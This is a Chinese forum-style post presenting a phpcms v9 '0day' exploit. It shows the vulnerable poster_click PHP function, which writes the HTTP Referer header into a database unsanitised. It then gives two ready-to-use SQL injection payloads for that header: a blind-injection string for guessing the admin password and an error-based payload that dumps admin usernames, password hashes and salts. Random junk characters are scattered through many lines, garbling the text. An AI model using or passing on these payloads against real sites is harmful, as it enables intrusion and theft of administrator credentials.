phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

+ o1 d% S9 {; |. P5 X( ~) G问题函数\phpcms\modules\poster\index.php
8 F0 |7 V1 T/ f( m% W
public function poster_click() {
( Y- p* i+ X, L$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
+ E1 O0 @: c$ I6 X+ [$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
- q7 H: d! d& j! N) I8 }5 d. ?$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
0 d7 G) V* M9 u  P2 L1 D4 e3 H$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
0 `& T4 P1 B5 l: Q2 K; V: `4 R$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
1 z, a# O6 Q) ]& J% D8 q}
& T7 `! ~# i3 E2 v! kheader('Location: '.$url);
}
4 m& s! y2 v' j. W# W+ X" ]3 C( u6 I


- k& }+ V& M& {3 E' R4 Z利用方式：
% |6 ?" }/ }% W# ~9 q
7 I: u! ^8 }* C; e* c/ P9 m1、可以采用盲注入的手法：
1 b0 ^% e! r! j$ G9 C2 v
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

- m" ], b# L9 c2 I( V) d2 c2、代码是花开写的，随手附上了：
. Y1 o, H% s  r5 I$ B
' U8 |! u  j; j. ?+ N" x1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

9 C% ]2 y  i" e7 m3 `, T此方法是爆错注入手法，原理自查。
